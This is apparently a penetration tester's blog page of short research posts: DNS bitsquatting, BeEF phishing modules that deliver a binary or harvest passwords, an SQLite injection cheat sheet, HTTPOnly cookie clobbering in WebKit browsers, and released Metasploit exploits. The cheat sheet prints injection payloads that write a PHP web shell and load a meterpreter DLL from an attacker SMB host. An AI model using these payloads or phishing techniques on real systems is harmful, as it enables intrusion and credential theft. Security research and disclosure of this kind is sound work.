News
DNS Shenanigans
Long time no post! Well, I've been up to some stuff in the background. At Kiwicon 7 this last weekend I presented some of my latest research, which has been focused on Bitsquatting (as introduced by Artem Dinaburg back in 2011). My research took bitsquatting in a different direction; rather than focusing on a single domain (e.g. fbcdn.net or microsoft.com) I went for the jugular of the Internet: the root-servers.net bit-flips. I also registered all flips for the gtld-servers too for good measure. My results were pretty good. Over 18 months I've seen close to 9 million requests come to my bit-flipped domains, from victims all around the world. I have worked with our local registry, NZRS to ensure .nz is protected and to utilise their contacts to spread the concern for TLD hijacking. If anyone is doing similar interest and would like pcaps or access to the reporting interface, get in touch with me at nick.freeman@security-assessment.com and I'll see what I can do. My slides can be found at my employer's website, at Security-Assessment.com. For those of you who haven't been, I highly recommend Kiwicon. It is full of great talks and great people, and has a relaxed culture which makes it just that much more enjoyable and easy to meet new people. Best prepare your liver, though. |
New BeEF Module - Clippy
After @pipesec (Mark Piper) gave a talk on changes to the Browser Exploitation Framework (BeEF / @beefproject) at a recent OWASP NZ meeting, my mate Denis and I had a few beers and decided the framework needed a module for Clippy. A few beers later we had a proof of concept relying heavily on the work by sprky0 - Heretic Clippy. The module will pop up a Clippy in the bottom right of your browser and ask you to update your browser to a more recent version. Yes = user downloads a binary of your choice; No = Clippy returning 5 seconds later to harass you some more. A brief mention along with lots of other juicy updates can be found on the BeEF blog here. Keep tuned for modules in the works, hopefully they'll make it out and about in the next few weeks. Also big props to @beefproject for their continuing awesome work! |
SQLite3 Injection Cheat Sheet
Introduction A few months ago I found an SQL injection vulnerability in an enterprisey webapp's help system. Turns out this was stored in a separate database - in SQLite. I had a Google around and could find very little information about exploiting SQLI with SQLite as the backend.. so I went on a hunt, and found some neat tricks. This is almost entirely applicable only to webapps using SQLite - other implementations (in Adobe, Android, Firefox etc) largely don't support the tricks below. Cheat Sheet
For some reason, 4x double quotes turns into a single double quote. Quirky, but it works. Getting Shell Trick 1 - ATTACH DATABASE What it says on the tin - lets you attach another database for your querying pleasure. Attach another known db on the filesystem that contains interesting stuff - e.g. a configuration database. Better yet - if the designated file doesn't exist, it will be created. You can create this file anywhere on the filesystem that you have write access to. PHP example: ?id=bob’; ATTACH DATABASE ‘/var/www/lol.php’ AS lol; CREATE TABLE lol.pwn (dataz text); INSERT INTO lol.pwn (dataz) VALUES (‘<? system($_GET[‘cmd’]); ?>’;-- Then of course you can just visit lol.php?cmd=id and enjoy code exec! This requires stacked queries to be a goer. Getting Shell Trick 2 - SELECT load_extension Takes two arguments:
Unfortunately, this component of SQLite is disabled in the libraries by default. SQLite devs saw the exploitability of this and turned it off. However, some custom libraries have it enabled - for example, one of the more popular Windows ODBC drivers. To make this even better, this particular injection works with UNC paths - so you can remotely load a nasty library over SMB (provided the target server can speak SMB to the Internets). Example: ?name=123 UNION SELECT 1,load_extension('\\evilhost\evilshare\meterpreter.dll','DllMain');-- This works wonderfully :) Other neat bits If you have direct DB access, you can use PRAGMA commands to find out interesting information:
Conclusion / Closing Remarks SQLite is used in all sorts of crazy places, including Airbus, Adobe, Solaris, browsers, extensively on mobile platforms, etc. There is a lot of potential for further research in these areas (especially mobile) so go forth and pwn! |
The Conundrum of the Clobbered Cookies
Recently I have been investigating how cookies are treated by various browsers - specifically cookies set with the 'HTTPOnly' attribute. I've found a couple of cases where the browser's behaviour leads to interesting conditions, such as locking users out of an application - both of these issues have been identified in WebKit browsers Safari and Chrome. This has been covered in the past by Michal Zalewski as part of the Browser Security Handbook, however some of the conditions appear to have changed, which potentially open new areas of attack. The particular areas I'm talking about are 'Overwriting cookies', 'Problems with conflict resolution' and mainly, 'Problems with "protected" cookie clobbering' on this page. I have raised both of these issues as bugs / 'unusual behaviour' with Apple and Google, both of which have decided that it's not a security issue - so I'm documenting it here in case anyone else comes across or is interested in this behaviour. This behaviour eases the exploitation of session fixation vulnerabilities in web applications. While every webapp that doesn't set a new cookie upon authentication/privilege change is vulnerable to session fixation, the exploitability of the vulnerability depends on whether the attacker can control the cookie value that the web application will use as the session token - and this cookie-juggling behaviour allows the attacker to control said value. Preconditions for this issue to be exploited are:
Google Chrome The following methods can be used to create a new cookie in the Chrome cookie-store, with the same name as an existing cookie - even if the existing cookie was set with the HTTPOnly tag:
In the last instance, if the cookie has a different domain (e.g. .testvhost.com instead of testvhost.com), then the same behaviour with the juggling of cookie priority will occur. Of course if you control the Set-Cookie statement you have control of the cookie anyhow, I just thought it would be helpful to note that it can still be a contributor to Chrome's behaviour. By using one of the above methods, it is possible to create a new cookie with a higher preference than the server-set cookie. This is possible by prepending a period (.) to the 'domain' flag of the <meta>/JavaScript cookie. When a further cookie is set by the target application, the <meta> cookie becomes the primary cookie - the next time the target application receives a request from the victim browser, it will be the cookie controlled by the attacker. This is a quirk with how WebKit treats multiple cookies with the same name. My expected behaviour is that Chrome would: - only ever send one cookie, or - always send all cookies in the same order/priority, and - not to choose which cookie to send based on which cookie was most recently set, regardless of the method it was set in. In MSIE8/Firefox/Opera, the use of HTTPOnly will prevent JavaScript/HTML from changing the session token sent to the web application - either by not accepting the new cookie, or by adding the new cookie but keeping it at a lower priority so as not to disrupt the user's session. Even though we are not modifying the server-set cookie, we can insert a new cookie that takes priority over the server-set cookie - giving us control of the cookie sent to the web application, and allowing session fixation via the Cookie: header. Safari JavaScript / <meta http-equiv=set-cookie> can be used to set a new cookie that will take preference over an existing HTTPOnly cookie. This is due to how Safari treats 'domain' cookie flags. For example, if the original (server-set) cookie does not have a domain specified by the server, then the JavaScript-set cookie will always take preference over the server-set cookie - even if the server provides the browser with a new cookie using the 'Set-Cookie' HTTP Response header. This allows for persistent cookie tainting. If the server-set (valid) cookie has a domain specified, the attack will only work until the browser receives a new cookie from the server. This is because the cookie is overwritten, rather than shuffled further down the Cookie: header.
While this behaviour does not allow a malicious actor to access an existing Cookie, it does allow the actor to more easily exploit a session fixation vulnerability or prevent a user from accessing a web application. I have included a couple of scenarios below: Scenario A - Cookie Overwrite: 1. Server sets a cookie with a domain flag and HTTPOnly, e.g.: "sessionid=12345; path=/; domain=.apple.com; httponly" 2. XSS vulnerability in apple.com (or any of its subdomains) allows a user to inject JavaScript in order to set a new cookie for the same
FQDN or subdomain e.g.: "sessionid=54321; path=/; domain=.apple.com" - overwriting the existing cookie. 3. Next request sent by the browser will send the sessionid of 54321. If the server sets a new cookie after this, the sessionid will then
take that value.
Scenario B - Cookie Added With Higher Preference: 1. Server sets a cookie without a domain specified, with HTTPOnly, e.g.: "mycook=setbyserver; path=/; httponly"2. XSS vulnerability in reda.cked.me (or any of its subdomains) allows a user to inject JavaScript in order to set a new cookie for either reda.cked.me or the .cked.me subdomain e.g.: "mycook=setbyhtml; path=/; domain=.cked.me" - this creates a new cookie with a greater preference than the server-set cookie. 3. All further requests sent by the browser will send the sessionid of setbyhtml. If the server sets a new cookie after this, the sessionid will
not be changed from setbyhtml. Users could be locked out of an application (until cookies are cleared/browser is restarted) by using this technique.In conclusion.. I can understand the browser vendors' choices not to treat this behaviour as a security vulnerability, but believe that this behaviour eases exploitation of issues in vulnerable web applications. Of specific concern is that if targetsite.com has a cookie-based session fixation vulnerability, then if subdomain.targetsite.com has an XSS issue, targetsite.com's "protected" HTTPOnly cookie can be overwritten. An interesting condition, anyway. |
New BeEf Module - pretty theft
Ok, so it's not actually that new, but I've enjoyed my holidays and now it's time to get back into it. A while ago I added a new module to BeEF (the Browser Exploitation Framework) called 'pretty theft'. It's a simple little module that will use a lightbox-style effect to darken the user's browser and pop up a new div stating that their session has timed out - and that they need to reauthenticate. It also has the option to provide an image to put in the header of the div, so if you like, you can use the compromised site's logo / favicon to make it feel a touch more authentic. Once the user has provided their user and password again, the page returns to its previous state, and you have their creds. A potential extension for this module could be to use the collected creds to authenticate to a given login page in order to test the user's credentials before returning them to the site. This will have some other implications if the application doesn't support multiple concurrent sessions, but would provide further authenticity to the user who couldn't just enter in fake creds and be on their merry may. |
Hacking Hollywood Release
Having returned from giving my Hacking Hollywood presentation in Ruxcon and tidied up my exploits a little more, I've released all materials. These can be found on the Publications page. In addition to all of the advisories, slides and demo videos, I have released exploits as well:
Final Draft 8.01 PoC MSF module
PowerProduction StoryBoard Quick 6 PoC MSF module
AVID Media Composer <= 5.5.3 (latest, unpatched) MSF module The presentation has also picked up quite a bit of media coverage: .. and maybe another article coming soon. Still a couple of bugs to write up / clean up sploits, then it will be on to the next project - just in time for the xmas break. |
Hacking Hollywood & Operation Lights Out
Last weekend was Kiwicon V, where for the fifth year in a row, we have descended upon Wellington in an ominous dark cloud. This year I presented the results of a project that's kept me busy for the last few months - Hacking Hollywood. It's a fairly short presentation (around 30 minutes) which covers bugs in a variety of software used by the film/tv industry, including scriptwriting, storyboarding, 3D/VFX/Rendering, render farm management and video editing software. The presentation is pitched as 'hackertainment', with lots of shells and a narrative to illustrate these issues to less technical audience members. Hacking Hollywood was very well received at Kiwicon and I had lots of fun giving the talk - especially as the demo gods were on my side and everything went off without a hitch. I largely spent the rest of the day with Eon setting up Operation Lights Out. This game was held on the Saturday evening, upstairs at the Kiwicon V venue, the Wellington Opera House. We had a couple of access network mishaps at the start, but once we switched the users on the dead switch onto wireless everything was a go. The game held up pretty well to the hungry, hungry hackers; while we did end up opening some of the firewalls up to help speed the game along, the team that won did so without our help. So congratulations to Team SashaGrey (heh) for destroying the power plant and winning the game. The weekend after next is Ruxcon. One of the speakers had to urgently cancel, so I will be giving the Hacking Hollywood talk in his place. I'm really looking forward to my first Ruxcon and presenting this material again - all slides and exploit code will be available after the conference (most likely the week of November 21st). |
Myca
A few weeks ago, around about the time of the DigiNotar compromise, I thought that it'd be really neat to have a way to inject a trusted Certificate Authority as part of post-exploitation activities. So I made one! There's currently an issue in Metasploit's issue tracker for my patch, myca, which allows for easy CA management from within meterpreter. Myca also allows the adding and removing of entries from the Windows hosts file, which makes SSL MITM that much easier, as you no longer need to be on your victim's network. Bonus.
|
Redux
Previous incarnations of atta.cked.me have been clumsily written in HTML and require far too much effort to update. However, I refuse to run a poorly coded PHP CMS on my own kit. Solution: The Cloud! If all goes to plan, this site will be updated with the various tools/research I have been working on, along with anything else that comes across my mind. |
1-9 of 9